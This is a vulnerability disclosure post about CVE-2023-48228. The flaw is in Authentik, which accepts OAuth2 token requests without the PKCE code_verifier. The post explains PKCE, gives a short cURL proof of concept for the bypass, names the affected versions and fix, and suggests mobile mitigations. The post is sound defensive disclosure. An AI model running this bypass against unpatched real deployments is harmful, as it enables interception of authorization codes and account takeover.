While working in his free time on an open-source software project, Denis Arnst (linkedin) from A1 Digital's Cloud Department (Exoscale), has uncovered a significant oversight in the implementation of the Proof Key for Code Exchange (PKCE) by Authentik, a Single Sign-On (SSO) provider that has rapidly gained popularity.

About Authentik

Authentik is an open-source identity provider that offers comprehensive identity and access management solutions. It is designed to integrate seamlessly with various applications and services, providing a robust SSO solution for enterprises and developers. Authentik supports OAuth2, OpenID Connect, SAML and even LDAP, making it versatile for various authentication needs. Its growing popularity is due to its flexibility, ease of use, and the amount of features it offers. However, like all software, it is not immune to vulnerabilities, which makes understanding and addressing such issues critical for maintaining its security integrity.

Importance of PKCE

PKCE (Proof Key for Code Exchange) is a security measure highly recommended for OAuth2 Providers that wish to facilitate secure interactions with mobile devices and/or public clients. Following successful authentication, an OpenID Provider redirects users to a callback URL (e.g., https://auth.example.com/callback), including an authorization token, commonly referred to as "code". However, mobile and desktop apps often can’t use HTTPS URLs. Instead, they often employ custom scheme URLs like myapp://auth/callback. These custom URLs lack HTTPS protection, raising the possibility that a malicious application could register the same URL to intercept the token.

PKCE mitigates this risk by introducing an additional security layer. It involves generating a random string and sending its hashed version during the authorization request. Consequently, when the identity provider redirects the user to the callback URL, any application receiving the code, including potential malicious ones, cannot use it in subsequent requests without the corresponding non-hashed random string. This mechanism effectively shields against unauthorized interception of the callback link by ensuring that only the application with the correct verifier can proceed, enhancing security in environments where HTTPS cannot be relied upon.

PKCE check in Authentik

The vulnerability manifests during the initiation of the OAuth2 flow, when a code_challenge (a hashed random string) and code_method (indicating the hashing method of the code challenge) are utilized, signaling the implementation of PKCE. Authentik is expected to mandate and validate a code_verifier (the original, unhashed random string) during the token exchange step. However, it has been found that Authentik mistakenly validates the token request without the required PKCE verification if the code_verifier is omitted.

This problem has been linked to a particular portion of Authentik's source code, suggesting that the error may originate from a misinterpretation of the OAuth 2.0 standards, as outlined in RFC 7636, particularly concerning the backward compatibility and the treatment of the code_verifier.

This vulnerability can be easily demonstrated using cURL commands and a bash script:

export CLIENT_ID="" # Client ID of the provider
export REDIRECT_URI="blablabla%3A%2F%2Ftest" # making it anything and non http makes it easier
export CLIENT_SECRET="" # Note that this vulnerability works for public and confidential providers

export VERIFIER="123456789123456789123456789123456789123456789" # Just a random string
export CHALLENGE="Cpswc1QQbF6sciikqsvPuShqrxjRlyG23R2onXSL7rc" # SHA256 hashed and base64 encoded VERIFIER.
# The challenge must be sent in the first request
# The verifier is supposed to be sent in the token request
# The server should check it in the token request: When he hashes the now received verifier - it should be the same as CHALLENGE
# As the attacker - if he intercepts the code during callback (i.e. duplicate in-app-url of a malicious app, which is quite easy to do) - cannot know the unhashed version of CHALLENGE; his attack should fail



### Note we have code_challenge and code_challenge_method parameters
###    If the SSO provider supports PKCE it now MUST use it
curl https://auth.example.com/application/o/authorize/?response_type=code&client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&code_challenge=$CHALLENGE&code_challenge_method=S256&state=654654 -vvv

The last cURL command will give back an Location: header. Open it up in a Browser and directly open up "inspect" with the network tab to get the code later. Now log in, and look for the answer in the request named default-provider-authorization-implicit-consent.

The header will include something like:

export AUTHORIZATION_CODE=7c00aeff7f7144c3b5e7e3205ac88bc8 # Paste the code
## Request which should not be accepted (missing code_verifier)
curl -X POST https://auth.example.com/application/o/token/ -H "Content-Type: application/x-www-form-urlencoded" -d "grant_type=authorization_code&code=$AUTHORIZATION_CODE&redirect_uri=$REDIRECT_URI&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET"

## OR Correct request
# curl -X POST https://auth.example.com/application/o/token/ -H "Content-Type: application/x-www-form-urlencoded" -d "grant_type=authorization_code&code=$AUTHORIZATION_CODE&redirect_uri=$REDIRECT_URI&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&code_verifier=$VERIFIER"

Because I used code_challenge_method in the authorization request, the SSO server should now expect code_verifier because that is directly tied to the code. However, still I receive a code this way, effectivly circumventing PKCE.

This vulnerability is referenced as CVE-2023-48228. Affected Authentik versions: All versions lower than 2023.10.4 and lower than 2023.8.5

Improving mobile flows and mitigating PKCE's flaws

PKCE does not inherently protect against phishing attacks where a user might be tricked into opening and authorizing a malicious application pretending to be a legitimate one (for example when a malicious app is made in a way to exactly look like a legitimate one). That’s why mobile apps that need a high degree of security (like banking apps) should use additional methods.

  • Universal Links (iOS) and Android App Links: Those links allows mobile apps to register to handle standard HTTPS links (Universal Links). When a user clicks on a universal link, iOS/Android can directly open the app associated with the URL if it's installed, instead of opening the link in a browser. This mechanism enhances security by ensuring that the link opens within the intended app, reducing the risk of phishing attacks or unauthorized interception. The identity provider must be configured to only allow redirect to this HTTPS-URL.
  • ASWebAuthenticationSession: Introduced in iOS 12, ASWebAuthenticationSession provides a secure authentication flow by presenting a web view for the user to log in, ensuring that the tokens are directly returned to the calling app. The session is explicitly tied to the app, with iOS managing the process, which adds a layer of security by ensuring that only the initiating app can receive the authentication information. From this session, redirection to other apps is not possible.

Summary

When initialising a oauth2 flow with a code_challenge and code_method (thus requesting PKCE), the SSO provider (authentik) must check if there is a matching and existing code_verifier during the token step.

Authentik (Version < 2023.10.4 and < 2023.8.5) checks if the contents of code_verifier is matching ONLY when it is provided. When it is left out completely, authentik simply accepts the token request with out it; even when the flow was started with a code_challenge. Authentik was fast in reacting to the confidential security report and released a patched version promptly.

PKCE should always be used on oauth2 flows in mobile apps.